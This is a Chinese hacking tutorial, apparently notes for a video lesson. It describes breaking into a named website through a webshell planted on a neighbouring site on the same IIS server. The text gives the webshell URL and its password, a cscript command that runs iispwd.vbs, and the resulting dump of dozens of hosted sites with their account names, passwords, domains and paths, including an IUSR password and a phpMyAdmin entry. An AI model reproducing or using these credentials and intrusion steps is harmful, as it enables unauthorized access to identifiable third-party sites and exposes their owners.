╭──────────────────────────╮
  猫客工作室--真诚、高效、创新，敢想敢做努力做到最好！ 
╰──────────────────────────╯

>讲师名称：剑眉大侠（QQ767501681）

>动画名称：旁注入侵之IIS跨目录拿下目标站



目标站：www.xgystyy.com

旁站shell：http://www.jxsrsy.com/x.aspx    d7sDs,/2sDSMEKX

xgystyy

D:\wwwroot\xgystyy\web\

D:\wwwroot\xgystyy\web


提权

说明权限设置问题

cmd执行一个vbs程序获取iis信息

"C:\windows/temp\cscript.exe" C:\windows/temp\iispwd.vbs

Microsoft (R) Windows Script Host Version 5.7
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

hkbeyy网站 hkbeyy hkbeyy22 :80:hkbeyy.my.jxqmt.com,:80:hkbeyy.com,:80:www.hkbeyy.com D:\wwwroot\hkbeyy\web

jxbeibang网站 jxbeibang jxbeibang22 :80:jxbeibang.my.jxqmt.com D:\wwwroot\jxbeibang\web

ynison网站 ynison ynison22 :80:ynison.my.jxqmt.com,:80:ynison.com,:80:www.ynison.com D:\wwwroot\ynison\web

301ew1688.cn IUSR_XR-5275C05C18FA i%w/zl@oT4;{^f :80:ew1688.cn D:\wwwroot\301

shbsmsp网站 shbsmsp shbsmsp22 :80:shbsmsp.my.jxqmt.com,:80:shbsmsp.com,:80:www.shbsmsp.com D:\wwwroot\shbsmsp\web

xgystyy网站 xgystyy xgystyy22 :80:xgystyy.my.jxqmt.com,:80:xgystyy.com,:80:www.xgystyy.com,:80:xgystyy.cn,:80:www.xgystyy.cn D:\wwwroot\xgystyy\web

ycnet网站 ycnet ycnet22 :80:www.ew1688.cn D:\wwwroot\ycnet\web

301zssyly.com IUSR_XR-5275C05C18FA i%w/zl@oT4;{^f :80:zssyly.com D:\wwwroot\301

anshuntang网站 anshuntang anshuntang22 :80:anshuntang.my.jxqmt.com D:\wwwroot\anshuntang\web

shqk168网站 shqk168 shqk16822 :80:shqk168.my.jxqmt.com,:80:shqk168.com,:80:www.shqk168.com D:\wwwroot\shqk168\web

yccsy网站 yccsy yccsy22 :80:yccsy.my.jxqmt.com,:80:yccsy.com,:80:www.yccsy.com D:\wwwroot\yccsy\web

jxtyyy网站 jxtyyy jxtyyy22 :80:jxtyyy.my.jxqmt.com,:80:jxtyyy.cn,:80:www.jxtyyy.cn D:\wwwroot\jxtyyy\web

NpointHost196 ND19_nlgql nP0InT19xND19_nlgql :80:www.jxqmt.com D:\Program Files\NpointSoft\npointhost1.9.6\web\

hkyangyisheng网站 hkyangyisheng hkyangyisheng22 :80:hkyangyisheng.my.jxqmt.com D:\wwwroot\hkyangyisheng\web

jxoutes网站 jxoutes jxoutes22 :80:jxoutes.my.jxqmt.com,:80:jxoutes.cn,:80:www.jxoutes.cn D:\wwwroot\jxoutes\web

zssyly网站 zssyly zssyly22 :80:www.zssyly.com D:\wwwroot\zssyly\web

ew3g网站 ew3g ew3g22 :80:ew3g.my.jxqmt.com,:80:3g.zhangshushi.net D:\wwwroot\ew3g\web

rdccs网站 rdccs rdccs22 :80:rdccs.my.jxqmt.com,:80:rdccs.com,:80:www.rdccs.com D:\wwwroot\rdccs\web

vivi3g网站 vivi3g vivi3g22 :80:vivi3g.my.jxqmt.com D:\wwwroot\vivi3g\web

phpmyadmin IUSR_XR-5275C05C18FA i%w/zl@oT4;{^f :888: D:\phpMyAdmin-2.11.3-all-languages

zshmg网站 zshmg zshmg22 :80:zshmg.my.jxqmt.com,:80:zshmg.com,:80:www.zshmg.com D:\wwwroot\zshmg\web

yabei网站 yabei yabei22 :80:yabei.my.jxqmt.com D:\wwwroot\yabei\web

jxbjmygs网站 jxbjmygs jxbjmygs22 :80:jxbjmygs.my.jxqmt.com,:80:jxbjmygs.com,:80:www.jxbjmygs.com D:\wwwroot\jxbjmygs\web

hssy99网站 hssy99 hssy9922 :80:hssy99.my.jxqmt.com,:80:hssy99.com,:80:www.hssy99.com D:\wwwroot\hssy99\web

jishunsw网站 jishunsw jishunsw22 :80:jishunsw.my.jxqmt.com,:80:jishunsw.com,:80:www.jishunsw.com D:\wwwroot\jishunsw\web


from : http://www.xxx.com/